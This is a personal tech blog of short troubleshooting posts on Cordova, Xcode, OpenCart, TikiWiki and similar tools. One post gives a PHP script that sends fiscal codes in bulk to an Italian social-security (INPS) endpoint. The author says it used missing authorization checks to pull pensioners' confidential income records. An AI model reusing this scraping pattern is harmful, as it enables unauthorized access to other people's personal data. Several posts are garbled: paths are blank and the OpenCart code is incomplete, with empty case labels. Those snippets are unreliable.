$ hdiutil makehybrid -iso -joliet -o myimage.iso myimage.cdr

Thursday, 21 April 2016

[FIX] ERROR Internal navigation rejected cannot access other urls - Cordova iOS

Make sure that your config.xml whitelist is ok

<allow-navigation href="http://*" /> 
<allow-intent href="http://*/*" /> 

 Those tags must be set. Specify your url to restrict the navigation.


cordova clean
and then
cordova build ios

Make sure that you have a provisioning profile when building otherwise the app will be stuck after the splash screen.

It's preferable to build on xcode AFTER runnin  "cordova build ios" since cordova will reparse your main xml. Avoid the modification of the xml for the specific platform and remember to backup your files before doing anything.

Wednesday, 20 April 2016

[FIX] - iPhone project’s minimum deployment target

When we try to run the iOS app on an older device we can get such info.
From the xcode project info we can change the setting but the problem (that's what happened for me) will persist.

To lower the development target we need to change
in the file
located in


for esample I added


Now xCode 7.3 runs without problems my app (sdk ios 9) the application on iphone 4 with iOS 7.1.2.
In my case it's a cordova project without particular plugins.

The xCode generated error:
iPhone runs iOS 7.1.2, which is lower than app's minimum deployment target. Change your project’s minimum deployment target or upgrade iPhone di businessweb’s version of iOS.

where are located the npm packages?

The npm packages are usually located in the folder:

npm runs

when loading the npm script that recalls 

#!/usr/bin/env node

Older versions of Xcode - Direct download from Apple

Older versions of Xcode - Direct download from Apple.

Fix: Error Parse Generalized time, invalid offset

When you get this error while signing or listing the data from keystore the problem can be, as happened for me, that you have the wrong time set if compared to the keys in the store or you have generated a key with a lot of days (ex. -validity 1000000000).

Check the time/date settings on your system including bios (just to be sure that your time will be ok also after rebooting).

Create your keystore (backup anything if you don't know what you are doing) again with a common validity.
Usually it should be 365 or less but you can also use 3650 (10 years?).

Error keytool: Parse Generalized time, invalid offset

Thursday, 31 March 2016

How to move your web folder in the account on!

Run ssh and login with your own account (ex. fs-youraccount)

check the path where is located your web area by going up for 2 folders and changing to the web directory

In my case my home folder is:
 and my web folder is

Just create a symbolic mlink
ln -s /var/www/clients/client456/web303/web /var/www/clients/client456/web303/home/fs-guida/

And now you can see your "web" subfolder via ftp.

That's all :)

If you need a basic (italian) guide to have a new shell and website for free follow this link:
La guida per avere una shell gratis e farci girare un bnc o psybot o altro.

Get the version of opencart from the index file using an external script.

If you are writing standalone scripts that are using the informations from opencart this small function can be useful. It will return the current version of opencart.

function getcurrentversion($indexfile='index.php'){
    if(file_exists($indexfile)) {
        $fd = fopen($indexfile,'r');
        if(empty($fd)){return false;}
        while (!feof($fd)) {
            $buffer = fgets($fd);
            if(preg_match("#define\('VERSION', '(.*?)'\);#",$buffer,$matches)){
                return $matches[1];
    } else {
        return false;

I add also a switch with different opencart versions. Not very useful but there are also older and not (not anymore) documented versions.

    case '':
    case '':
    case '':
    case '':
    case '':
    case '':
    case '':
    case '':
    case '':
    case '':
    case '':
    case '':
    case '1.5.6':
    case '':
    case '':
    case '1.5.4':
    case '1.5.0':
    case '':
    case '':
    case '':
    case '':
    case '':
    case '1.5.1':
    case '':
    case '':
    case '':
    case '1.5.2':
    case '':
    case '1.5.3':
    case '':
    case default
        die('Cannot determine your Opencart Version');

Friday, 25 March 2016

how to get out of DFU mode on iphone 6 iphone 5 iphone 4 iphone 3

Just push the home and the power button for around 5-10 seconds

Monday, 21 March 2016

What is the most common resolution for desktop and mobiles in 2016?

The most common resolution on desktops is 1366x768 followed by 1960x1080
The most used resolution on mobile devices (smartphones) is  360x640

Source: w3counter, w3schools, statcounter

Thursday, 17 March 2016

Portable ASP Web Server for Windows! Definitive Solution to not waste time!

If you don't want to install a lot of useless stuff on your computer I highly recommend to use

Baby Web Server

This is the fastest, simple, best, portable solution to have a webserver that supports Microsoft ASP (Active Server Pages).

It's simplicity is a miracle if confronted with all the stuff that you need to do with an iis installation and configuration.

It just Works!

how to refresh Wordfence Falcon Cache - wordpress plugin

The fastest way to *refresh* Wordfence Falcon Cache is to Disable and Reenable it from the "Performance Setup"!


delete all the files from within

That easy? well, yes ...

Remember to manually backup not only the .htaccess but also your wordpress.

Monday, 14 March 2016

Forbidden tiki-install.php - [SOLUTION]

403  Forbidden tiki-install.php

When this error happens during the installation
403 Forbidden You don't have permission to access /tiki-install.php on this server.

In most cases it's not an error related to the files permissions.

Check your error logs before anything so that you can solve the specific problem as fast as possible.

In my case I got this error:
[rewrite:error] [pid 1964:tid 2044] [client ::1:11439] AH00670: Options FollowSymLinks and SymLinksIfOwnerMatch are both off, so the RewriteRule directive is also forbidden due to its similar ability to circumvent directory restrictions : tiki-install.php, referer: http://localhost/tikiwiki/tiki-install.php

And solved by configuring the htaccess with:

Options +FollowSymLinks
If you have installed tikiwiki in a subfolder also remember to change the rewritebase (ex. with tikiwiki):

RewriteBase   /tikiwiki/

Thursday, 3 March 2016

what is tppabs="#" tag?

tppabs="#" is a tag added by teleport pro. If you have grabbed your website you can remove that tag without big risks.

Before removing the tags always backup your pages.

Tuesday, 9 February 2016

CSS z-index not working with bootstrap menu

we need to use z-index on the PARENT element

this is the code that I have in the menu
<li class="dropdown open"> ...
<ul class="dropdown-menu dropdown-menu-right">
                        <li><a href="http://localhost/index.php?route=account/register">Register</a></li>
            <li><a href="http://localhost/index.php?route=account/login">Login</a></li>

instead of using z-index on ul.dropdown-menu.dropdown-menu-right
I adde the z-index on the parent li
#top {z-index:10000 !important;}

If you need a better example just ask in the comments.

Friday, 5 February 2016

old script - retrieve confidential data from INPS about RED

An old php script that I used to retrieve informations about the RED (dichiarazione reddituale per pensionati) for each Fiscal Code.
INPS never checked the authorizations on the url to request the data and I used this, and several other, bug to work in a faster way ...
The url doesn't work anymore and the script is damn old that nobody will care about it.


$inputfile = 'codici.txt';
$outputfile = 'RED.txt';
$host = '';
$path = '/servizi/redest/Frm_MatricolaIpost.aspx';

$method = 'POST';

//$host = '';

$postdata = '&Stampa=Esegui&F00=';

//reading codici fiscali from file
$arrcodicifiscali = getcodicifiscali($inputfile);

foreach($arrcodicifiscali as $codice)
    //getting the page
    $resdata = httpSocketConnection($host, 'GET', $path, '');
    $viewstatedata = '';
$regu = $resdata[1];

    if( preg_match( '#name="__VIEWSTATE" value="(.*?)"#', $resdata[1], $matches) )
        $viewstatedata = $matches[1];

//post data with the code
$postdatacf = $postdata . $codice;

//we need to set the VIEWSTATE
//$postdatacf = '__VIEWSTATE=' . $viewstatedata . $postdatacf;
//echo $postdatacf; exit;
$resdata = httpSocketConnection($host,$method,$path,$postdatacf);
echo $postdatacf . '';
echo '<pre>' . $regu . '</pre>';
echo '<pre>' . $resdata[1]. '</pre>'; exit();

//$resdata = httpSocketConnection($host,$method,$path,$postdata);

echo 'ok';


function getcodicifiscali($inputfile)
    $codicifiscali = array();
    $handle = @fopen( $inputfile, 'r');
    if(!$handle) {
        echo 'cannot read the input file';
    //while there's no end of file
        while (feof($handle) === false) {
            $buffer = fgets($handle, 4096);
            $buffer = str_replace("\r",'', $buffer);
            $buffer = str_replace("\n",'', $buffer);
            $codicifiscali[] = $buffer;

    return $codicifiscali;

function httpSocketConnection($host, $method, $path = '', $data = '')
            $method = strtoupper($method);      
            if (($method == "GET") && ($data != ''))
                $path.= '?'.$data;
            $filePointer = fsockopen($host, 80, $errorNumber, $errorString);
            if (!$filePointer)
                throw new Exception("Error $errorNumber $errorString");
            $requestHeader = $method." ".$path."  HTTP/1.1\r\n";
            $requestHeader.= "Host: ".$host."\r\n";
            $requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
            $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";
            if ($method == "POST")
                $requestHeader.= "Content-Length: ".strlen($data)."\r\n";
            $requestHeader.= "Connection: close\r\n\r\n";
            if ($method == "POST")
                $requestHeader.= $data;
            fwrite($filePointer, $requestHeader);
            $responseHeader = '';
            $responseContent = '';
                $responseHeader.= fread($filePointer, 1);
            while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader));
            if (!strstr($responseHeader, "Transfer-Encoding: chunked"))
                while (!feof($filePointer))
                    $responseContent.= fgets($filePointer, 128);
                while ($chunk_length = hexdec(fgets($filePointer)))
                    $responseContentChunk = '';
                    $read_length = 0;
                    while ($read_length < $chunk_length)
                        $responseContentChunk .= fread($filePointer, $chunk_length - $read_length);
                        $read_length = strlen($responseContentChunk);
                    $responseContent.= $responseContentChunk;
            //cleaning the last parts
            $responseHeader = chop($responseHeader);
            $responseContent = chop($responseContent);
            $statuscode = getstatuscode($responseHeader);
                case '302':
                //--todo-- add the autofollow true/false
                    $path = '';
                    httpSocketConnection($host, $method, $path, $data);
            return array($responseHeader, $responseContent);


function getstatuscode($myheaders)
    //if we have the raw headers we convert them to an array
    if(is_array($myheaders) === false)
        $myheaders = str_replace("\r", '',$myheaders);
        //splitting into an array
        $myheaders = split("\n", $myheaders);
    //checking the first line with the status code
    //ex. HTTP/1.1 301 Moved Permanently
    if ( preg_match('#HTTP/\d{1}\.\d{1} (\d{3}) .*#', $myheaders[0], $matches) )
        //returning the status code
        return $matches[1];
    //return false for any error
    return false;

function cookieJar($myheaders)
Date: Thu, 30 Jul 2009 16:41:36 GMT
Server: Microsoft-IIS/6.0
S:: 04
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
Set-Cookie: MC1=V=3&GUID=351aadd02c2c4c6a943829592de783dd;; expires=Mon, 04-Oct-2021 11:00:00 GMT; path=/
Cache-Control: no-cache
Content-Length: 0

//if we have the raw headers we convert them to an array
if(is_array($myheaders) === false)
    $myheaders = str_replace("\r", '',$myheaders);
    $myheaders = split("\n", $myheaders);

$MycookieJar = array();

while ($line = trim(array_shift($myheaders))) {
    list($header, $value) = explode(':', $line, 2);
    if ( $header == 'Set-Cookie' || $header == 'set-cookie2' ) {

        // v2 cookies
        if ($header == 'set-cookie2')
            $cookies = explode(',', $value);
        } else {
            $cookies = array($value);

        foreach ($cookies as $cookie)
            $cookie = explode(';', $cookie);
            foreach ($cookie as $pos => $val)
                    $val = explode('=', $val, 2);
                    $val[1] = trim(@$val[1]);
                    $MycookieJar[] = $val;
return $MycookieJar;
//echo $myheaders . "\r\n";

Saturday, 2 January 2016

hackintosh various stuff for dell 1545 - (a bit messy)

During the installation of Leopard add only the following options

Intel Core Duo 2 processor
GMAX3100 graphics
BCM94312HMG Wifi card

Drivers wireless - broadcom

audio sigmatel 9200 - 9223 - 9271

Twitter Delicious Facebook Digg Stumbleupon Favorites More